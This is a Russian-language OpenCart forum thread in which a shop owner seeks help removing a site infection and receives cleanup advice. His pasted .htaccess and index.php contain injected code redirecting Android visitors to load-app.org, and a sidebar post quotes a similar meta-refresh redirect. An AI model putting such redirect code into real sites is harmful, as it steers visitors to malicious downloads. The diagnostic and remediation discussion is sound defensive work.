sasha123S

Вирус на сайте

Рекомендуемые сообщения

sasha123S    0

Сайт заражен вирусом. Недавно заметил. Хотел перезалить полностью сайт, не получилось. Чот делать? Кто сможет помочь?

Сайт: mi nu tа sh op . r u

Изменено пользователем sasha123S

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sasha123S    0

<p>Это .htaccess<br />

RewriteEngine on<br />

RewriteCond %{HTTP_USER_AGENT} "Android" [NC]<br />

RewriteRule ^(.*)$ <a class="bbc_url" href="">http://load-app.org/m/?mobile_version=CleanRu</a> [L,R=302]<br />

<br />

<br />

<br />

Options +FollowSymlinks<br />

Options -Indexes<br />

<br />

Order deny,allow<br />

Deny from all<br />

<br />

<br />

RewriteEngine On<br />

RewriteBase /<br />

RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L]<br />

RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L]<br />

RewriteCond %{REQUEST_FILENAME} !-f<br />

RewriteCond %{REQUEST_FILENAME} !-d<br />

RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css)<br />

RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA]<br />

<br />

# Редирект c www на без www<br />

RewriteCond %{HTTP_HOST} ^www.minuta-shop.ru<br />

RewriteRule ^(.*)$ http ://m inu ta-sh op .ru /$1 [R=301,L]<br />

# Редирект для главной (с /index.php на /)<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\ HTTP/<br />

RewriteRule ^index\.html$ / [R=301,L]<br />

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/<br />

RewriteRule ^index\.php$ / [R=301,L]

</p>

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sasha123S    0

Это index.php

$ua = $_SERVER['HTTP_USER_AGENT'];

if(stripos("***$ua",'android') !== false){
header("Location: http://load-app.org/m/?mobile_version=CleanRu");
die();
}
?>

// Version
define('VERSION', '1.5.4.1');

error_reporting( E_ERROR );



// Configuration
require_once('config.php');

// Install
if (!defined('DIR_APPLICATION')) {
header('Location: install/index.php');
exit;
}

// VirtualQMOD
require_once('./vqmod/vqmod.php');
$vqmod = new VQMod();

// VQMODDED Startup
require_once($vqmod->modCheck(DIR_SYSTEM . 'startup.php'));

// Application Classes
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/customer.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/affiliate.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/currency.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/tax.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/weight.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/length.php'));
require_once($vqmod->modCheck(DIR_SYSTEM . 'library/cart.php'));

// Registry
$registry = new Registry();

// Loader
$loader = new Loader($registry);
$registry->set('load', $loader);

// Config
$config = new Config();
$registry->set('config', $config);

// Database
$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$registry->set('db', $db);

// Store
if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
} else {
$store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
}


if ($store_query->num_rows) {
$config->set('config_store_id', $store_query->row['store_id']);
} else {
$config->set('config_store_id', 0);
}

// Settings
$query = $db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC");

foreach ($query->rows as $setting) {
if (!$setting['serialized']) {
$config->set($setting['key'], $setting['value']);
} else {
$config->set($setting['key'], unserialize($setting['value']));
}
}

if (!$store_query->num_rows) {
$config->set('config_url', HTTP_SERVER);
$config->set('config_ssl', HTTPS_SERVER);
}

// Url
$url = new Url($config->get('config_url'), $config->get('config_use_ssl') ? $config->get('config_ssl') : $config->get('config_url'));
$registry->set('url', $url);

// Log
$log = new Log($config->get('config_error_filename'));
$registry->set('log', $log);

function error_handler($errno, $errstr, $errfile, $errline) {
global $log, $config;

switch ($errno) {
case E_NOTICE:
case E_USER_NOTICE:
$error = 'Notice';
break;
case E_WARNING:
case E_USER_WARNING:
$error = 'Warning';
break;
case E_ERROR:
case E_USER_ERROR:
$error = 'Fatal Error';
break;
default:
$error = 'Unknown';
break;
}

if ($config->get('config_error_display')) {
echo '' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . '';
}

if ($config->get('config_error_log')) {
$log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
}

return true;
}

// Error Handler
set_error_handler('error_handler');

// Request
$request = new Request();
$registry->set('request', $request);

// Response
$response = new Response();
$response->addHeader('Content-Type: text/html; charset=utf-8');
$response->setCompression($config->get('config_compression'));
$registry->set('response', $response);

// Cache
$cache = new Cache();
$registry->set('cache', $cache);

// Session
$session = new Session();
$registry->set('session', $session);

// Language Detection
$languages = array();

$query = $db->query("SELECT * FROM " . DB_PREFIX . "language WHERE status = '1'");

foreach ($query->rows as $result) {
$languages[$result['code']] = $result;
}

$detect = '';

if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && ($request->server['HTTP_ACCEPT_LANGUAGE'])) {
$browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);

foreach ($browser_languages as $browser_language) {
foreach ($languages as $key => $value) {
if ($value['status']) {
$locale = explode(',', $value['locale']);

if (in_array($browser_language, $locale)) {
$detect = $key;
}
}
}
}
}

if (isset($session->data['language']) && array_key_exists($session->data['language'], $languages) && $languages[$session->data['language']]['status']) {
$code = $session->data['language'];
} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages) && $languages[$request->cookie['language']]['status']) {
$code = $request->cookie['language'];
} elseif ($detect) {
$code = $detect;
} else {
$code = $config->get('config_language');
}

if (!isset($session->data['language']) || $session->data['language'] != $code) {
$session->data['language'] = $code;
}

if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {
setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
}

$config->set('config_language_id', $languages[$code]['language_id']);
$config->set('config_language', $languages[$code]['code']);

// Language
$language = new Language($languages[$code]['directory']);
$language->load($languages[$code]['filename']);
$registry->set('language', $language);

// Document
$registry->set('document', new Document());

// Customer
$registry->set('customer', new Customer($registry));

// Affiliate
$registry->set('affiliate', new Affiliate($registry));

if (isset($request->get['tracking']) && !isset($request->cookie['tracking'])) {
setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/');
}

// Currency
$registry->set('currency', new Currency($registry));

// Tax
$registry->set('tax', new Tax($registry));

// Weight
$registry->set('weight', new Weight($registry));

// Length
$registry->set('length', new Length($registry));

// Cart
$registry->set('cart', new Cart($registry));

// Encryption
$registry->set('encryption', new Encryption($config->get('config_encryption')));

// Front Controller
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance'));

// SEO URL's
if (!$seo_type = $config->get('config_seo_url_type')) {
$seo_type = 'seo_url';
}
$controller->addPreAction(new Action('common/' . $seo_type));

// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
} else {
$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output();
?>

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
AlexDW    768

В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sasha123S    0

В .htaccess перед Options +FollowSymlinks удалить весь код

В index.php удалить код до // Version

 

и читайте здесь

Уже делал, все равно файлы эти добавляются. Сам не программист, сложно по логам сайта и FTP найти первоисточник. Может возьметесь помочь устранить эту проблему?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
AlexDW    768

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sasha123S    0

Меняйте пароли на ftp, админку опенкарта и БД. В панели управления сайтом выставите в настройках по FTP доплнительное ограничение по своему/своим ip

 

После всех изменений паролей восстанавливайте сайт из бэкапа, если такая услуга есть у вашего хостера.

Либо через Total Commander сравнивайте файлы с сервера со своим бэкапом (он ведь есть, да? :ugeek: ) и все файлы с изменениями на сервере заменяйте файлами из бэкапа.

 

По логам FTP найти источник не сложно - открываете лог и смотрите на ip, отличные от вашего. Как найдете - смотрите что делалось под этими ip с папками/файлами

Уже старался этим заниматься. Но ничего не получается. 

Пароли все поменял. Из backup восстановил сайт, но вирус все равно сидит на сайте. Видимо внедрили его раньше, чем был сделан последний backup. Нужен профессионал. Самому не получается решить проблему

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
AlexDW    768

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sasha123S    0

Если хостинг нормальный - у них как правило не один бэкап хранится, пробуйте более раннюю версию восстановить.

Либо непосредственно хостеру объясните проблему, попросите помочь с чисткой/восстановлением.

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Pascha    631
 Хотел перезалить полностью сайт, не получилось.

 

еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
markimax    1 382

Скорее всего вирус в /system/library/response.php

 

Замените на оригинал

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
sasha123S    0

еще бы, при  таком количестве полезных и бесполезных модулей, активно конфликтующих между собой,

сам долго дрюкался пока дамп поставил

 

sasha123S

а ко мне за бэкапом религия не позволяет обратиться?

 

Вирус был не в /system/library/response.php Pascha, спасибо за помощь. Написал, что пришлось вручную чистить и искать причину заражения. 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
SouthBlondi    70

Хостер ответил, что у них нет других backup ов. Хостер ответил, что он таким делом не занимается. Нужно искать специалиста на стороне

Добрый хостер какой то, если так наплевательски относится как к клиентам, так и к своей репутации, ведь зараженные сайты в его ведомстве ему кармы не прибавят... Меняйте по возможности. И желательно со встроенным антивирусом каким нибудь в админ-панели.

 

И поищите дыры на сайте, устранив следствие, Вы не устранили причину. Очень быстро эта зараза может появиться вновь.

 

P.S. И да, эталонные копии и бэкапы рулят ;)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти


  • Похожий контент

    • От kaaspb
      Добрый день
      сейчас начитался форума и понял,что столкнулся с проблемой. с которой многие сталкивались: ничего не понимая в вопросах сайтостроительства заказал сайт фрилансеру, он написал сколько это будет стоить,я оплатил, он все вроде бы сделал, а сейчас с ним нет связи. И теперь не понимаю,что покупалось для нашего сайта, что он использовал.... нет ли дыр или троянов каких на сайте
       
      есть ли специалисты по безопасности проверить сайт, естественно заранее договорившись об оплате
      спасибо
    • От storagevash
      Ещё прежде не сталкивался с вопросами безопасности ранее. У меня одна база данных на два  сайта, оба на ocstore 1.5.5.1.2.  Один посложнее  весь в модулях, другой облегчённый. То на одном, то на другом  начинаются вредоносные ставки во все страницы

      <meta http-equiv="refresh" content="0;url=http://ww2.googlejavascript.com/?folio=7POJ4E717" />
       
       сканирую бесплатными сервисами, но не могу  найти, что именно вписывает вредоносные коды. Как найти виновника?! Эту дырку в сайте. Что порекомендуете?
       
      сейчас  www.2450210.ru - полностью атакован. А главный на той же базе www.efler.ru - работает. И сканеры не видят там  проблем.  Причём на 2450210  я  уже  перезалил с исходника  окстор  все  javescript , отключил все модули. куда  мог  попасть вредоносный код?
    • От Absalem
      Всем привет!
      Пациент - *******
      На главной странице с правой стороны маленькие баннеры, при клике по любому из них в новой вкладке открывается целевая страница, а в предыдущей вкладке вместо моего исходного сайта происходит непонятный редирект, который ведёт то на лингвалео, то на озон, то ещё куда (срабатывает по одному разу на устройство/браузер).
      Не могу найти код-вредитель, даже проверила айболитом - ничего не находит :(
      Помогите, пожалуйста!
    • От sashenka
      Добрый день, потихоньку изучаю опенкарт 1.5.6 на своей сайте. Столкнулась со странной картиной пару дней назад.В  админ. панели  раздел "Клиенты онлайн" отображаются Ip посетителей и адреса страниц сайта где они находятся. Всегда там были страницы моего сайта, а теперь мелькают урлы сторонних не связанных с моим по тематике разнообразных сайтов.

      Обратилась к хостингу на предмет попыток взлома и наличия вредоносного на сайте. Хостинг сказал все чисто. 

      Что это такое как с этим бороться? Буду рада любым ответам и помощи. Спасибо.

    • От sashenka
      Добрый день, потихоньку изучаю опенкарт 1.5.6 на своей сайте. Столкнулась со странной картиной пару дней назад.В  админ. панели  раздел "Клиенты онлайн" отображаются Ip посетителей и адреса страниц сайта где они находятся. Всегда там были страницы моего сайта, а теперь мелькают урлы сторонних не связанных с моим по тематике разнообразных сайтов.
      Обратилась к хостингу на предмет попыток взлома и наличия вредоносного на сайте. Хостинг сказал все чисто. 
      Что это такое как с этим бороться? Буду рада любым ответам и помощи. Спасибо.
  • Последние посетители   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу